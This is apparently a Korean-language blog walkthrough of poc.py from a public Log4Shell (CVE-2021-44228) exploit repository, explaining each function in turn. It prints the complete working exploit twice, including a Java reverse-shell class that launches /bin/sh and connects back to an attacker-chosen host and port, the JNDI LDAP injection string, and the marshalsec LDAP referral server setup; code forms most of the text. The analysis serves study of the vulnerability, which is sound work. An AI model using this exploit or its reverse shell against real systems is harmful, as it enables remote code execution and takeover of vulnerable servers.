log4j POC를 위해 아래 링크에서 사용된 익스플로잇 코드인 poc.py를 분석해본다.
https://github.com/kozmer/log4j-shell-poc

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()


def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')


def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()


def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0


def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])


def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)


if __name__ == "__main__":
    main()

익스플로잇 코드 동작 설명

poc.py는 공격쿼리가 고정된 경우에 해당한다.

line 107~144 main()

프로그램 시작시점: "main" => main() 실행

main() => jdk 실행확인 후 payload() 실행

def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)


if __name__ == "__main__":
    main()

main()함수 부분이다.

커맨드라인 인자가 없으면 default 값으로 실행하도록 설정

default:

# python3 poc.py --userip localhost --webport 8000 --lport 9001

==> userip: userip

==> webport: 웹에 접속할 포트번호

==> lport: 리버스 쉘이 대기중인 포트번호

line 70~82 payload()

payload()

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()

userid, webport, lport 인자를 가진다.

generate_payload() 실행

• 새 스레드에서 LDAP 서버 생성

webport(기본 8080) 포트로 웹 서버 시작

line 14~67 generate_payload()

generate_payload()

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')

==> 공격자환경에서 lport 포트로 리버스 쉘을 생성하고 대기하고 있다.

이 리버스 쉘에 접속도록 하는 익스플로잇 프로그램 코드를 program 변수(Exploit.java file)에 저장.

해당 코드 내용(program 변수)를 "Exploit.java" 경로에 쓴다.

line 85~90p check_java()

check_java()

def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0

jdk1.8.0_20/bin/java -version 명령어가 정상적으로 응답하는지 확인 후

응답여부(true or false) 반환

line 93~104 ldap_server()

ldap_server()

def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])

${jndi:ldap://%s:1389/a} %(userip)

형태의 문자열이 입력되면 별다른 검증없이 lookup 기능 실행!

http://｢userip｣:｢lport｣/#Exploit

경로로 접속한다.

=> generate_payload()를 통해 대기중이었던 리버스 쉘로.... (아까 Exploit.java)

접속!!

made by cheda